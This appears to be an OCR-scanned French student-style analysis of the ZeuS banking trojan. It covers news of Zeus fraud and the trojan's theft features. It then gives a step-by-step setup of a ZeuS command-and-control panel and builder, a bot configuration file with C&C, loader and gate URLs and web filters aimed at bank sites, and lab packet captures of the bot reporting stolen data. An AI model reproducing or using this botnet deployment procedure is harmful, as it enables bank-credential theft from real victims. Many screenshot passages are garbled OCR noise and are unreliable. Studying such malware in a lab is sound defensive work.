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Résumé

Zeus est un des outils les plus utilisés ces derniéres années par les criminels afin de capturer des
comptes bancaires. Au cours de ce document, nous allons installer et configurer un botnet Zeus afin
d’analyser son fonctionnement ainsi que ses fonctionnalités.

L'analyse de ZeusS s’effectuera en 2 parties : dans une premiére partie, nous verrons l'installation et
la configuration d’un botnet utilisant ZeuS. Nous analyserons aussi les interactions entre le bot ainsi
que son centre de commandes.

Dans la deuxieme partie, nous ferons une analyse plus poussée du client.

Rappel

Ce qui suit est délivré a titre informatif et éducatif, je ne suis pas responsable
de ce que vous en ferez.

Un texte sur I'intrusion dans un systéme informatigue et ses conségquences.

La loi dite « Godfrain » du 5 Janvier 1988 (n° 88-19) a introduit dans le code pénal ’article
462-2 qui dispose que « Quiconque, frauduleusement, aura accédé ou se sera maintenu
dans tout ou partie d"'un systéme de traitement automatisé de données sera puni d''un
emprisonnement de deux mois a un an et d"'une amende de 2.000F a 50.000F ou de I"'une
de ces deux peines. Lorsqu''il en sera résulté soit la suppression ou la modification de
données contenues dans le systeme, soit une altération du fonctionnement de ce systéme,
I""emprisonnement sera de deux mois a deux ans et I"'amende de 10.000F a 100.000F. »

La loi « pour la confiance dans I’économie numérique » du 21 juin 2004 (n° 2004-575) a
déplacé et modifié ce texte, désormais présent a l’article 323-1 du code pénal, lequel dispose
que « Le fait d""accéder ou de se maintenir, frauduleusement, dans tout ou partie d"'un
systeme de traitement automatisé de données est puni de deux ans d"’emprisonnement et de
30000 euros d''amende. Lorsqu''il en est résulté soit la suppression ou la modification de
données contenues dans le systéme, soit une altération du fonctionnement de ce systeme, la
peine est de trois ans d"'emprisonnement et de 45000 euros d**amende.* »

! http://www.legavox.fr/blog/murielle-cahen/intrusion-dans-systeme-informatique-hacking-314.htm
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http://www.abc-netmarketing.com/L-intrusion-dans-un-systeme.html
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Zeus

Description

Zeus est un cheval de troie” spécialisé dans le vol des informations bancaires. Réputé pour sa
simplicité d’utilisation, il permet aux cybercriminels de récupérer trés facilement de multiples
informations sensibles. Il a été utilisé au cours de ces derniéres années dans des opérations de
transfert de fonds.

Les Etats-Unis démantélent un vaste réseau lié au
botnet Zeus

Les autorités américaines ont inculpé plus de 60 personnes accusées
d'avair utilisé le cheval de Troie bancaire Zeus pour voler des millions de
dollars sur des comptes bancaires américains. Ces accusés feraient
partie d'un réseau de cybercriminels basé en Europe de 'Est. Ce dernier
s'appuyait sur des "mules” financiéres recrutées pour ouvrir des comptes
aux Etats-Unis destinés a recevoir les virements illégaux depuis les
comptes piratés. Le montant des vols dépasserait trois millions de dollars.
Ces arrestations interviennent quelgues jours aprés un autre coup de filet
similaire en Grande-Bretagne, qui s’est soldé par linculpation de 11
personnes également accusées de se senir de Zeus pour siphonner des
comptes.

Figure 1 http://www.journaldunet.com/solutions/securite/zeus-botnet-arrestation-1010.shtml

De nombreux particuliers et entreprises ont d{ faire face a des pertes liées a Zeus.

ESEs) Katleen Erna
Expert Confirmé Sénior
le 15/04/2010

Mise a jour du 14.04.2010 par Katleen
9 entreprises américaines sur 10 touchées par le botnet Zeus, d'aprés une étude publiée hier

Le cabinet détude RSAFraudAction vient de publier un rapport réalisé par son service spécialisé dans la lutte contre les trojans. Ses équipes ont analysé les données
volées par Zeus (voir news précédente, ci-dessous) sur des ordinateurs infectés en aodt 2009

De I3, les chercheurs ont pu remonter jJusqu'a des adresses IP ou e-mail appartenant 3 des entreprises. |l a ainsi été démontré que 8% des domaines des
compagnies du classement Fortune 500 (les plus importantes firmes américaines) avaient recu |a visite dordinateurs infectés par Zeus. Autrement dit, prés de 9
grandes compagnies sur 10 souffriraient de I'activité de cet botnet

De plus, environ 60 % de ces entreprises seraient atteintes au niveau de leurs messageries, puisque les données volées de comptes e-mails leur appartenant ont été
retrouvées surles sites ol les informations volées par Zeus étaient entreposées.

Les compagnies employant moins de 75.000 personnes sont apparues comme les plus touchées, avec le plus grand nombre d'adresses e-mail compromises

Fraude massive aux chaegues wia un
botnet musse

Editiom dw 29 0F F 2030400 — par Suaillsaurme Garmier awsc IS
M=

Selon SecureWworks, le botnet FeusS servait les Fins
A" wmre organisatiocomn criminelle russe gui "awrait
wumtiliss powur détourner des miillions de dollars =
chaegues.

La fraude aux chéeqgues est un crimMme un peu déepasss &
I'heure du NMTuMESrique. Une organisation crimineslle russe
utili=se pourtant des rechnigue=s de cybercrirme pour
réaliser des opdérations de falsifications de ché&ques=s
automatisgdes ="Slewvant a8 plusisur=s Miillions de dollar=s de=
prejudice. Elle passe mnotamiment par N'utilisation de
botrnet=s, de bases de donnees financieres et d'archives de
chegues nuMmerises. L'organisation, surmnommes BigBoss
=uite a la déecouweaerte du NMom sur un serveuar utiliss
durant la fraude Mmassive, a St Mmiise au jour par des
chercheur=s de SecureWwork=. Jo=e Stewart, directeur
d'analy=se des malwares pour I'entreprise, precise gqu il
s"aest apercu de 'existence de BigBoss duranmnt 'amnaly=se de
code botrnet =ur Imntermet.

Figure 2 Autre exemple de fraude réalisée avec ZeuS

? http://fr.wikipedia.org/wiki/Cheval_de_Troie_%28informatique%29
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Méme la France est concernée par ces vastes affaires de transferts illégaux de fonds.

A rr

- " . o
Cinquante ™ mules " arréetées pour
- - o ' -
complicité d’'escroquerie
Ces ™ petites mains " auraient servi a transférer vers I'Ukraine et la Russie
I"argent détourné par l'intermeédiaire d'opérations de ™ phishing " menées par
les véritables escrocs installés a I"'étranger.

Damien Bancal | Otinet. | le 26/06/2007 & 19h50 | & S rsactions

¥ oo = TE <« EH DO G E

J ol coup de filet pour la police francaise. Ce mardi matin, les
services de I'Office central de lutte contre la criminalite liee
aux technologies de l'information et de la communication

(OCLCTIC) ont interpellé cingquante intermautes soupconnes de

participer & un vaste réseau d'escroquerie en ligne. Prés de

150 fonctionnaires de police travaillaient depuis plusieurs mois a

cette opération de grande envergure, menee dans 'Hexagone,
en Corse et dans les DOM-TOM. Des actions similaires ont eu
lieu en Europe sous I'égide d'Europole.

Pourtant, cette vaste campagne n‘aurait pas permis, en France, de mettre la main sur les
veritables meneurs du réseau d'escroquerie. Les cinguante personnes interpelléees

- -

seraient en effet ce que la police appelle des ™ petites mains 7, ou des ™ mules ”. Ces

internautes, recrutes en ligne par les véritables escrocs, auraient simplement servi
dintermediaires. Leur rdle : faire transiter I'argent dérobé vers les comptes des pirates
afin de brouiller les pistes. Des pirates qui font partie d'un réseau international de
ophishers, des spécialistes du vol de données bancaires.

Figure 3 http://www.01lnet.com/editorial/352705/cinquante-mules-arretees-pour-complicite-descroquerie/

Nous allons voir pourquoi cet outil est de plus en plus utilisé dans ce genre d’opérations.

Fonctionnalités

« Zeu$S » a eté développé spécifiqguement dans le but de voler des informations sensibles sur
les systémes infectés, et contrairement a d’autres codes malveillants, il ne se contente pas de
récupérer systématiquement tout ce que tape 1’utilisateur au clavier. Il cible précisément ces
informations :

e enrécupérant les données saisies par I'utilisateur dans des formulaires d’authentification sur
des systemes sensibles,

e eninjectant ses propres champs dans certains formulaires apparaissant a I'écran dans le but
de récupérer toujours plus d’informations,

e en analysant les parties des URLs susceptibles de contenir des informations
d’authentification,

e enrécupérant les cookies du navigateur qui sont souvent utilisés pour stocker des
informations de session,
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e enrécupérant les données d’identification stockées dans la zone utilisateur protégée du
navigateur. Internet Explorer ou Firefox par exemple peuvent étre paramétrés pour se
rappeler des login et mots de passe entrés sur des sites web.

A c6té de ces techniques de vol ciblé d’informations, le code malveillant installé sur la
machine est capable de :

e Rechercher et récupérer des fichiers spécifiques sur le systeme,

e  Offrir un controle complet a distance du systeme en utilisant le protocole VNC,

e Télécharger et exécuter des programmes,

e « détruire la machine » en supprimant des composants essentiels pour faire fonctionner le
systeme d’exploitation.

Cette description a été extraite du site certi-ist.com.

Propagation

Afin d’infecter des nouvelles machines, Zeus utilise de nombreux vecteurs :

- Campagne d’envois de courriel infectés. Les pirates ont lancé de nombreuses campagnes de
spam ° utilisant I'ingénierie sociale afin d’inciter I'utilisateur a exécuter une piéce jointe. Un
exemple de campagne avec diffusion d’une piéce jointe en pdf contenant Zeus.

From: e - i i Sent: Mi02.02.2011 18:10
To: - -~ e
Ca
Subject: Scan from XEROX
| Message | [} 02-02-2011-43.pdf

P E

Hello,

It was scanned and sent to you using a Xerox WorkCentre Pro.
Please open the attached document.

Sent by: Guest

Number of Images: 1 Attachment

File Type: PDF.

WorkCentre Pro Location: Machine location not set

Device Name: XERX911818051004676018486

- Diffusion par pack d’exploits. En utilisant des méthodes automatisées d’exploitation de
vulnérabilités dans le navigateur (Pack d’exploits®), ces kits permettent de distribuer des
malwares aux internautes lors d’une simple visite sur une page web infectée.

D’autres moyens de propagation existent bien slir mais sont moins utilisés.

® http://fr.wikipedia.org/wiki/Spam
* http://www.viruslist.com/fr/viruses/analysis?pubid=200676241
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site%20http:/www.cert-ist.com/fra/ressources/Publications_ArticlesBulletins/VersVirusetAntivirus/kneber/_print/

Zeus en Chiffres

Sur le marché noir, Zeus est en général vendu plusieurs milliers de dollars. On trouve de nombreuses
offres sur Internet de vendeurs qui le vendent souvent clé-en-main (c-a-d déja configurés et prét a
fonctionner)

—— =
@2 Selling Zeus 1.3.0.0 with FF module — <
File Edit View History Bookmarks Tcocols Help
L\ Selling Zeus 1.3.0.0 with FF module - ... | =+ | =
BiSHOP &

Privileged

e o rma e

Hi everyone,

¥ am selling Zeus 1.3.0.0

TRUSTED MEMBERS ONLY

[Version 1.2.0.0, 20.11_2009]

[*] Interception WinApi by splicing-

[+]1 Be fully operational in Windows Vista / 7.
[*1 Temporarily disable hidden files =
[*] Removed TAN-grabber.

[—] Fixed duplicate records in nspra.dil.

[*] Grabbed certificates are now written with the name

grabbed_ dd_mm_yyy.-pfx, and password in UTF-—S.

[*]1 Team getcerts, obtained certificates only from MY -store, and not from
all. Since obtaining certificates from all hranilish not make sense.

[*] Changed behavior grabber certificates.

[*] Rewrote FIP/POPZ3 sniffer, ulucheshno detection logins, made support
for IPv6-—addresses.

[*]1 Rewrote the interception of , fixxed method of working
with international characters to.

[-] Corrected a bug in HT IP-fakie, which could lead to deadlock.

Price: $700 USD

Payment Methods:

(2-5 day wait)
Liberty Reserve (2 day wait)
L Western Union (No wait)

(142

Trading with MNOMN YERIFIED rm=r

Zeus_2.0.8.0_MSVC2010_SRC
m

Source code of last »2.0.8.2 {includes everything)
110

Figure 4 Offre pour la vente du code source de ZeuS
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~r————T—T—m Le botnet Zeus s’utilise commae...

M Lk g

Windows
Pour environ 3.000 dollars, le kit de piratage Zeus |
fonctionnerait comme les clés d’activation de

Windows. La derniére version du botnet pourrait
faire encore plus de ravages.

Par: Olivier Robillart
le 16 mars 2010 &3 12:31 | 8 Pas de commentaires

Figure 5 http://www.silicon.fr/le-botnet-zeus-sutilise-comme-windows-39579.html

Figure 6 Vente pour différents packages de ZeuS

Au niveau géolocalisation des infections, le principal pays qui semble touché reste les Etats-Unis, puis
en second la Russie.

Iraq, 1.3%

Canada, 1.3%
W United States
Malaysia, 2.6%
| Russian Federation
Netherlands, 3.5%
u Ukraine
u Germany United Xingdom, 3.5%
o Romania )
Ching, 3.5%
= China
® United Xingdom
® Netherands
Germany, 4.3%
Malay=a
® Canada

™ lraq

Other

Figure 7 Géolocalisation infection Zeu$S
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Maintenant que nous avons vu comment ZeusS était utilisé et a quoi il servait, nous allons voir
comment mettre en place et comment configurer un botnet avec Zeus.

La création d’'un botnet ZeuS

La diffusion du code-source

Auparavant réservé a un cercle d’initié, le code source de ZeusS a été diffusé il y a quelques semaines
sur les forums underground.

Complete Zeu$S source code has been leaked
On the 23rd of March 2011 we posted a blog about the source code for the infamous crime kit ZeuS

(Wsnpoem/Zbot) being sold on at least two dark market forums (see: http:/fwww.csis.dkfenfcsis
{blog/3176/).

0 oilitant auparavant jusqu’a 10 000 dollars, le kit pour créer son botnet Zeus
est désormais accessible gratuitement.

+1 Le code source de la derniére version du kit d"exploitation du trojan bancaire Zeus
(v2.0.8.9) a éte divulgué sur plusieurs forums accessibles. Il était jusgu’a présent
commercialisé pour environ 10 000 dollars. Le code source n'était partage que par une
communauté trés fermée. Ce n'est plus le cas aujourd’hui, ce qui devrait 2galement
favoriser le développement de nouvelles fonctionnalités. Dici 13, difficile de croire gqu’il
redevienne payant.

Il contient tout ce qu’il faut pour pouvoir créer le botnet : code source du client(le bot), ainsi que le
code du serveur (C&C).

Zeu5 2088 T
) bin | output [ make_default.cmd _zeus.sln
, configs | Release 2 make_full.emd ., ZEUS.5UD
, Debug | source @] manual_en.html
, geobase | ternp | manual_ru.html
Jinclude 2  config.ini | | README txt
) lib [E] make.cmd [ VNC.bd

, make [Z] make_debug.cmd |Ezeus.sdf

Figure 8 Code Source de Zeu$S

Nous allons d’abord voir qu’est-ce qu’on botnet et quelle est son architecture.
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Un botnet, ce n’est ni plus, ni moins qu’une architecture client-serveur. Un serveur envoie des ordres
aux clients qui les exécutent. Au niveau de I'architecture réseau, nous aurons quelque chose de
proche de ceci.

Typical , _ Botnet

_~Command & Control

unsuspecting web user's zombie computers

Figure 9 Architecture d'un botnet

Dans un premier temps, nous allons devoir configurer le centre de commande (C&C : Command &
Control) qui dans notre cas sera un site web. Puis nous devrons configurer les clients afin de leur
donner les informations pour se connecter a notre serveur.

Généralités

Codé en C++ (pas de librairies additionnelles utilisées), ZeuS est compatible avec toutes les versions
de Windows (2k, 2003, 2008, XP, Vista, Seven) aussi bien 32 bits que 64 bits. Sur Vista/Seven, ZeuS
s’exécute avec les droits de I'utilisateur et n’a pas besoin des droits d’administrateurs pour
fonctionner. S'il est exécuté avec les droits administrateur, il cherchera a infecter tous les répertoires
utilisateurs.

Il s’exécute en langant une copie de son code dans chaque processus utilisateur. Parmi ses autres
fonctionnalités, nous avons :

e Interception du trafic HTTP/HTTPS en provenance de wininet.dll (Internet
Explorer, Maxton, etc.), nspr4.dll (Mozilla Firefox) :

Modification du contenu des pages chargées (HT TP-inject).

Redirection transparente vers d’autres pages (HTTP-fake).

Temporary blocking HTTP-injects and HTTP-fakes.

Bloque I’acces a certains sites spécifiques.

Bloque les requétes selon certains sites specifiques

Force la connexion a certains sites spécifiques.

o E
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7. Crée une capture d’écran autour du curseur de la souris Durant ’appui sur des
boutons
8. Obtenir les cookies de sessions et bloquer les utilisateurs selon certaines URL
spécifiques.
e Récupére les informations des programmes suivants
1. Logins des principaux clients FTP: FlashFXP, CuteFtp, Total Commander,
WSsFTP, FileZilla, FAR Manager, WinSCP, FTP Commander, CoreFTP,
SmartFTP.
"Cookies" Adobe (Macromedia) Flash Player.
"Cookies" wininet.dll, Mozilla Firefox.
Importation des certificats
Import certificates from the certificate store Windows. And tracking their
subsequent addition.
6. Tracking of pressing the keyboard keys.
« Intercepte le trafic réseau
1. Intercepte les login FTP sur n’importe quel port
2. Intercepte les login POP (courrier) sur n’importe quel port
e Divers:
1. Exécution de scripts crées dans le C&C
2. Séparation du botnet en sous-botnets (utilisation de homs)

okrwn

Aprés cet apergu non exhaustif des possibilités offertes par ZeusS, nous allons configurer
I"architecture permettant la mise en place d’un bontet.
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Le C&C de ZeuS

Zeus est livré avec un fichier qui décrit précisément quelles sont ses fonctions et comment les
configurer. Pour créer le C&C, il suffit de lire les instructions.

Description: Control panel

* Programming language:
PHP, using the extensions mbstring, mysgl.
« Display statistics:

Number of infected computers.
Current number of bots in the online.
. The number of new bots.

. Daily activity of bots.

. Country statistics.

. Statistics by OS.

ERLESRINTN

« Working with the list of bots:

1. Filtering the list by country, botnets, IP-addresses, NAT-status, etc.
2. Displaying desktop screenshots in real time (only for bots outside NAT).
3. Mass inspection of the Socks-servers state.
4. Displays detailed information about the bots. Of the most important here are:
= Windows version, user language and time zone.
= Location and computer IP-address (not for local).
» Internet connection speed (measured by calculating the load time of 3 predetermined HTTP-resource).
» The first and last time of communication with the server.
= Time in online.
5. Ability to set comment for each bot.

* Scripts (commands):
“You can control the bots by creating a script for them. Currently, syntax and scripting capabilities, are very primitive.
« Working with reports (logs) and bots files:
Files (such as screenshots, Flash Player cookies) received from the bots are always written to files on the server. You get the opportunity to search for files with a filter: by baots, botnets, content and file

Reports can be written in files (9%botnet¥%,/%bot_id%/reports.txt), and in the database. In the first case, the search for records is in exactly the same way as for files. In the second case, you get more
flexible filtering, and viewing reports from the Control panel.

Control panel: Server configuration

The server is the central point of control the botnet, it is engaged in collecting reports of bots and command bots. It is not recommended to use "Virtual Ho
server will increase, and this kind of web hosting quickly exhaust its resources. You need a "Dedicated Server” (Ded), the recommended minimum configura

+ 2Gb RAM.
* 2x 2GHz processor speed.
+ Separate hard drive for the database.

For bot to work requires HTTP-server with PHP + Zend Optimizer attached, and MySQL-server.
WARNING: For Windows-based servers is very important to change (create) the following registry value: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlS:
‘MaxUserPort=dword:65534 (decimal).

* HTTP-server:

As an HTTP-server is recommended to use: for nix-system - Apache from version 2.2, for Windows-servers - 115 from version 6.0. It is recommended t
effect on bot run, as providers/proxy can block access to some non-standard ports).

apache.org/dyn/closer.cgi.
Jdis.net/.

Download Apache: htty
115 website: http:/,

PHP interpreter:
The latest version of the control panel was developed on PHP 5.2.6. Therefore, it is highly recommended to use version, at least this version.
It is important to make the following settings php.ini:

safe_mode = Off
magic_quotes_gpc = Off
magic_quotes_runtime = Off
memaory_limit = 256M ;Or higher.
post_max_size = 100M ;Or higher.

0000

and also recommended that you change these settings:

Pour créer notre centre de commandes, nous allons utiliser un serveur wamp. Une fois celui-ci
installé, il nous suffit de lancer de lancer le script d’installation et de suivre les instructions.
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Control Panel @ Installer

This application install and configure your control paneal on
this server. Please type settings and press 'Install’.

User name: {(1-20 chars]): admin

Password [(6-6<4 chars]:

My SO server:

Host: 127.0.0.1

User; root

Password

Databasea: cpdb

Local folders:

Reports: _reports

Online bot timeout: 25

Encryption key (1-255 chars):

Enable write reports to database.

I:I Enable write reports to local path.

-- Install --

Figure 10 Script de configuration

Une fois le script de configuration correctement rempli, les tables SQL sont crées et le C&C est
désormais configuré.

Connecting to MySQL as 'root'.
Selecting DB "cpdb’.

Creating table 'botnet_list'.
Creating table 'botnet_reports'.
Creating table "ipvdtoc’.

Filling table "ipv4toc’.

Creating table 'cp_users'.
Creating table 'botnet_scripts'.
Creating table 'botnet_scripts_stat'.
Creating folder '_reports'.

W riting config file

Adding user "'admin’.

- Installation complete! —

Figure 11 Installation du C&C

On se connecte ensuite a I'interface d’administration.

User name:

Password:

D Remember (MDS cookias)

Figure 12 Interface d'administration de Zeu$S

A partir de I'interface d’administration, on peut gérer les bots, consulter les rapports émis par les
bots, voir la configuration des systémes infectés, etc.
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CP :: Summary statistics
Information:

Current user: admin
GMT date: 02.07.2011
GMT time: 10:56:41

Statistics:

— Summary

oS

Botnet:
Bots
Scripts

Reports:

Search in database

Search in files

Jabber notifier
System:

Information

COptions

User

Usars

Logout

Figure 13 Menu du C&C

On a aussi une interface qui centralise les statistiques.

Information
Total reports in database:
Time of first activity: =

Total bots: 0
Total active bots in 24 hours: 0% - 0
Minimal version of bot: 0.0.0.0
Maximal version of bot: 0.0.0.0

Current botnet: ]

e o

Online bots (0)

-- Empty -- -- Empty --

Figure 14 Statistiques du C&C

Maintenant que le centre de contréle est configuré, il nous reste a configurer le bot (le client).
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La configuration du Bot

Le bot ZeusS est constitué de 2 fichiers : un fichier exécutable qui contient toutes les fonctions du bot,
et un fichier de configuration qui contient les informations sur le centre de contréle du bot (ainsi que
d’autres informations que nous verrons plus loin).

Afin de simplifier au maximum la création et la configuration du bot, ZeusS est livré avec un
générateur d’exécutables. Il suffit juste de la configurer selon nos souhaits puis un fichier exécutable

sera généré.

JfeuS Builder,

Information Infarmation
Euilder Current wersion
Settings Version: 2,0.5.9

Build tirne: 15:06:54 14,04,2011 GMT
Signature: warrior buy source

Information about active bok
Encrypkion kew:

Information:

Bot not Founded.

Refresh Remowve bok

Figure 15 Builder de ZeuS

Le builder permet de savoir si le bot est actif sur la machine et le cas échéant de le désinstaller.

. ZeuS Builder =B8] =
InFormation Builde=r
Euilder Source configuarkion File:
Settings
| A Documenkts and SettingshadminisErakeuriMes d | [ Browase, .., ] I Edit. .. ]
Sckions
[ Euild the bok configuration ] [ Euild the bok executable ]

Figure 16 La configuration du bot
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Le fichier de configuration du bot est en fait un fichier qui va contenir I’adresse du centre de
controle, I'adresse du fichier exécutable du bot ainsi que I'adresse du fichier de configuration. Ce
fichier contient aussi les sites web qui seront surveillés (ou le bot interceptera les mots de passe).

;Build time: 15:06:54 14.04.2011 GMT
;Version: 2.0.8.9

entry "StaticConfig"
sbotnet "btnl"™
timer config &0 1
timer legs 1 1

= 4L
d;l config "http://192.168.122.129/zeus/config.binl,
Iremow

ai
encryption key "cedric™

entry "DynamicConfig"

http://1%2.168.122.125/2Zeus/bot - SR —m,
srver "http://152.168.122.125%/Zeus/gate.php’
file webinjec

(=

entry "AdvancedConfigs"
i"http:// advdomain/cfgl.bin"

end

entry "WebFilters"
"l*.microsoft.com/*"
"lhttp://*myspace .com*"
"https:/ www.gruposantander.es/*"
"lhttp://*odnoklassniki.ru/*"
"lhttp://vkontakte.ru/*"
"g*/login.osmp.rus "
"g*/atl.osmp.rul "

end

Figure 17 Fichier de configuration du bot

Puis a partir de ce fichier, un nouveau fichier va étre généré. Ce fichier est chiffré avec une clé
(parameétre encryption_key).

Building configuration of bot...

url_loader=http:/f192. 168, 122, 129/Zeus/bot. exe
url_server=http://192, 168, 122, 129,/Zeus/gate.php
webfilters [0] =!*.microsoft. com/*

webfilters[1] =thttp:/*myspace.com™

webfilters[2] =https:/www.gruposantander.es/*
webfilters [3] =thttp:/Fodnoklassniki.ru/*
webfilters[4] =thttp: /fvkontakte.ru/*

webfilters [5] =@*login.osmp.ru/*

webfilters [6] =@*/at.osmp.ru/*

file_webinjects =wehinjects. twt

Building the HTTP injects...
0="*fmy.ebay.com/*Currentfage =MyeBayPersonalInfo™®
1=*,ebay.com/*eBayISAPL.dlI?*
2=https:{jwww.us.hsbc, com/*
3=https:/fwww.e-gold.comfacctfli.asp

Figure 18 Génération du fichier de configuration
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config
Fichier EIM
34 kKo

Figure 19 Fichier de configuration généré

Quand on ouvre le fichier configuration.bin, on s’apergoit que celui-ci est bien chiffré.

|
by
&l

o= » A& B & 0 F u
H . = ° W e @ Qg ~ = 0 % & %
5 a4 4 a = * D £ 3 p u D I =

e /S &6 " = D o: ° w » B m <« & O
° 4 i 7 £ A L , T £

E 5 < % o r - " U W

+ B ¥ 0 , = - E E o 0 XX D 2
{ a @ * 5 a e I & a i t z 1
~ 5 £t A qa & T & a s f h

t+t E R 3 a4 £ a8 & = 1 8 i - : g
- ° F & s OB 8 I + o F & g
i I 4 h ~ © = W < A B ({ = } .,
4 % = g = 5 ¥ ° = 2 2 £ T =
E = ¥ - , s E ¥ 5 - & = > -
E 9 " o &8 A T | m & ( B 0O
* 5 B ¥ E 1 m E o= - E s [0 =
&8 & |pm " g E ¥ x R & M w1 E
& 9 C + i J w & 5 e g K

T & 4 =+ E d f w 8 &1 » & = E

Figure 20 Fichier configuration.bin chiffré

Une fois le fichier de configuration généré, reste a générer le fichier exécutable.

Building the bot...

Loading configuration. ..

botnet=

timer_config=50min, 1min
timer_logs=1min, 1min
timer_stats=20min, 1min
url_config=http://192. 168. 122, 129,Zeus fconfig.bin
remove_certs=1
disable_tcpserver=0
encryption_key =0k

Creating executable file...

Size of output file is 140800 bytes.

BUILD SUCCEEDED!

Figure 21 Génération du fichier exécutable

Le bot ne connait qu’une seule adresse : I'adresse du fichier de configuration. Le fichier de
configuration du bot peut étre contenu sur un serveur, et le centre de contréle peut étre sur un
serveur différent. De cette maniere, les 2 fichiers sont indépendants.

coanfig
Fichisr BIM bok
=4 Ko

Figure 22 Le client ZeuS

Nous avons maintenant 2 fichiers a notre disposition : le bot et son fichier de configuration. Zeus est
maintenant configuré et prét a étre déployé.
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L’'installation du bot

Aprés avoir lancé I'exécution du bot sur une de nos machines cibles, nous allons maintenant analyser
les différentes opérations réalisées. Nous pouvons vérifier que le bot est bien actif sur la machine, en

utilisant le builder de Zeus.

-1 viut.exe

Information about active bot
Encryption key:

cedric
Information:

Version: 2.0.8.9
Botnet: — default —
File of loader: ~\Ibebpyiviut.exe

Figure 23 Informations sur le bot

Zeus actif, la premiere étape est de récupérer le fichier de configuration indiqué lors de la génération

du fichier exécutable.

Les communications entre le bot et le C&C sont chiffrées a 'aide de I'algorithme RC4°. Contenant de
nombreuses vulnérabilités, RC4 est utilisé ici dans I'optique de camoufler le trafic afin de le rendre

indétectable aux différents systémes de protection tels que les IDS (Intrusion Detection System®) par
exemple. L'utilisation est confirmé par de nombreux points, comme par exemple l'initialisation de la

clé RC4 utilisée

wodld _rcd4(woid *buftfer, DWORD sizre, RCAKEY *key);

o

Isdaseidisd rcaInit() & rca() & izid adsisozp

IMN binkey - adisiié seiadinég S&ps

IM binkKeysize - Saciald Seiadiisi &sspsa & dasdad
IM OUT buffer - sSaiida @&y iadasides

IN size - daciad Faiiad.

Une fois ZeusS actif sur une machine, la premiere étape effectuée est tout d’abord de se connecter a
I’adresse indiquée lors de la création de I'exécutable afin de récupérer le fichier de configuration.

1592.168.122.133 152.168.122.129 HTTF 311 GET JZeusyscontig.bin HTTR/L.1
1%2.1658.122.12% 15%2.168.122.133 HTTPF 1162 HTTR/L.1 200 0K (application/octet-stream)

> http://fr.wikipedia.org/wiki/RC4
® http://fr.wikipedia.org/wiki/Syst%C3%A8me_de_d%C3%A9tection_d%27intrusion
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Al Follow TCP Stream

Skream Conkenk

SET /Zeus/canfﬂg bin HTTPA1.1

ACcCept v

Connection: Close

Usar—agent: mMozillas.0 Ccompatible; MsSIE 6.0; windows NMT 5.1; Swll
Host: 192.168.122.129

Cache—Control: no-—cache

HTTRP 1.1 200 Ok

Date: Sat, 02 Jul 20171 22:05:49%9 GMT

Serwver: Apachess2.2.6 (wWin32) PHRPS5.2.5
Last—modified: sat, 02 Jul 2011 22:04 24 GMT
ETag: "2d50-865=2-513232=25"

Accept—Ranges : bytes

Content-Length: 34414

Connection: <lose

Content-—Type: applicationsSoctet—stream

Figure 24 Récupération du fichier de configuration

Une fois ce fichier de configuration récupéré, ZeusS se connecte ensuite au C&C indiqué afin de s’y
enregistrer. |l enverra au serveur le nom de la machine infectée, le systéeme d’exploitation, la version
du bot, I'adresse Ip de la machine, ainsi que le pays d’origine.

I Fotiow TCP Stream . ——-— E=IEC]

Stream Content

POST /zeus/gate.php HTTP/1.1

Accept: */*

user-Agent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 6.1; wOw6d; Trident/5.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0€; .NET4.0C)

Host: 192.168.122.129

Content-Length: 402

connection: Keep-alive

Pragma: no-cache

i. +..2y -8(.9..... nd.fu...n}.. 1.A.N..s.........+..1

...... e O 'Ic-.......j e S S D, N B v 5 B PR e sy { <
S..N[........o@s...»w r..I..m.s.x S e .UT....w._.......L....(A........u r.?_............

N T e Zelen b e 020 T VR0 W 20 A FKO=. N ois

N aPis s XePl s ounss0isecdass W i9.10..L..S....>..'...E.E..[.2.49.'m..l.ﬁ.h.a-.v..u
...+...!.!mp/1.1 200 OK

pate: sat, 02 Jul 2011 17:20:00 GmMT
server: Apache/2.2.6 (win32) PHP/S5.2.S
X~-Powered-By: PHP/S 2.5
Content-Length: 402

Keep-Alive: timeout=5, max=100
connection: Keep- -Alive
content-Type: text/html

”.“.“.r.“tHN.

I e e r e e e s A e Y S e e s e e D A e e KiviKiaaCe
rogran Files (x86)\Faron1cs\Dee Freeze\lnsta]1 C- 0\_Sof\FrZState2k X R .. EPITAF
00T iviiirinnnnanesee® iiians)ens ) Wininet(Internet Explorer) cookieS'

(Eind | Save &s| [Brint | Entire convessation (1329 bytes) =] Ascu &) EBCOIC ©) HexDump © CAmays © Row

Figure 25 Données envoyées lors de la premiére connexion au C&C

Une fois ces données récupérées par le C&C, celui-ci crée un nouvel enregistrement dans la base de
données (PS : nom de machines différents car capture effectuée avec plusieurs bots)

W ooc0  Joomet |vemsoribes ___Jcounts[oniine tmeltatency[comment

I- 1 WIN-FQ3DSBBARPM_FF5A658D406C6BID -- default -- 2,0,8.9 192,168.122,133 -- o0:19:00 0,422 -

Figure 26 Bot enregistré auprés du C&C
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Un simple clic sur un bot permet d’accéder a toutes les informations le concernant. Il est méme
possible de prendre une capture d’écran a distance.

IROOT-SAEBO0IDY938 FE75768F402B9DD0; -- d.

Full infarmation

Full infarmmation + screenshot

Today reports

FRepaorts for last 7 days

File=

Remowe from database

Rermowe from database including reports
Check socks

Zreate mew script

Figure 27 Option d'administration du bot

Une fois le bot enregistré aupres de son C&C, celui-ci va lui envoyer toutes les informations qu’il aura
récupéré sur la machine (logins FTP, interception comptes...)

192.168.122.128 192.168.122.129 HTTP 535 POST /Zeus/gate.php HTTR/1.1

192.168.122.129 192.168.122.128 TCP 60 http > brvread [ACK] Seg=1 Ack=482 win=63759 Len=0
192.168.122.129 192.168.122.128 HTTF 434 HTTR/1.1 200 ok (text/html)

192.168.122.128 192.168.122.129 TCP 54 bryread > http [ACK] Seq=482 Ack=381 wWin=53860 Len=0

4! Follow TCP Stream |}

rStream Content

[accept: W%

User-agent: Mozillas4.0 Ccompatible; MSIE 7.0; windows WT 6.1; Trident/4.0; SLCC2; .MWET CLR 2.0.50727; .MWET CLR
5.5.30729; .MNET CLR 3.0.30729)

Host: 192.168.122.129

IContent-Length: 1744

IConnection: Keep-Aliwve

ICache-Control: no-cache

Lxe . WmTg8. . G IC. .

LT

wd. . LW YBRSLLD. WKL 2Zoel L.
R PV
" Dt

N A = P

... IZ.. . u.00& Dmp_fiCFNo2.

OV, Ly EVH L F=. L TN L WYL ..t Lg% T0SOR

